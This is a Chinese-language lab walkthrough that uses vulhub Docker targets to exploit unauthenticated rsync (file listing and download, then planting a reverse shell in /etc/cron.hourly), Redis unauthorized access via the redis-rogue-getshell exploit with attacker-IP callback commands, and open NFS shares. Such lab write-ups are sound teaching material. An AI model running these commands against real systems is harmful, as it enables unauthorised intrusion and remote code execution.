第一个 rsync (文件同步)配置文件在 /etc/rsynd.conf
第二个 redis (缓存服务)配置文件 /etc/redis.conf
第三个 nfs(文件共享)
介绍:Rsync是linux下一款数据备份工具,默认开启873端口
git clone https://github.com/vulhub/vulhub.git
cd /path/to/vuln/
切换到相应目录下,这里是/vulhub/rsync/common
docker-compose build
docker-compose up -d
漏洞环境启动
因为rsync默认开放的是873端口
所以直接nmap扫描一波端口
可见漏洞环境没有问题,出现了873端口
我们先列出模板
rsync rsync://目标ip:873/
列出模块src下的文件
rsync rsync://目标ip:873/
可以看到目标机下的文件全部被列了出来
于是我们可以下载文件
我们就下载rsync下的配置文件/etc/rsynd.conf
rsync -av rsync://目标ip:873/src/etc/rsyncd.conf /root/1.conf
-v 打印更多的信息
-a, --archive 归档模式,表示以递归方式传输文件,并保持所有文件属性
在自己本地查看文件内容
于是开始我们实验的重点;提权!!!
写入shell
赋予执行权限:chomd +x shell
将shell上传至/etc/cron.hourly
于是开启本地监听
但是在这里迟迟得不到响应。
后来知道原来是crontab配置文件的问题
下载crontab配置文件,并且查看
其中这里的17的意思是每小时的第17分钟执行run-parts --report /etc/cron.hourly命令。也就是说只有在17分钟时,才可以反弹shell.
那我们现在该干嘛呢?等?不可能的,这是测试,又不是实战.
啊啊啊啊啊啊!没找到办法,还是等吧。
Ps:第一次等了40分钟,结果我的shell,手误多打了个a
啊啊啊啊啊啊啊啊!
再等一个小时吧!
终于等到你,还好没有放弃。
我们这里还是使用的是vulhub的靶机
首先先扫描下目标靶机
发现开放6379端口,说明可能存在redis未授权访问漏洞
这里我们直接使用网上的exp打```
https://github.com/vulhub/redis-rogue-getshell
```
命令如下:
git clone https://github.com/vulhub/redis-rogue-getshell
cd RedisModulesSDK/exp/
make
cd ../../
python3 redis-master.py -h
python3 redis-master.py -r 目标ip -p 6379 -L 攻击ip -P 8888 -f RedisModulesSDK/exp/exp.so -c "whoami"
注:关于Redis 4.x/5.x RCE的介绍可以参考这篇文章
深入了解可以参考WCTF2019 Final分享会
NFS默认开放的是2049端口
关于NFS的主要执行命令如下:
showmount -e IP
//查看主机的文件列表mkdir /temp/
//在本地创建一个空的文件夹,例如/temp/mount -t nfs 192.168.x.xxx:/ /temp -o nolock
//将共享文件挂载到本地cd /temp/
于是在本地我们就可以自己查看文件了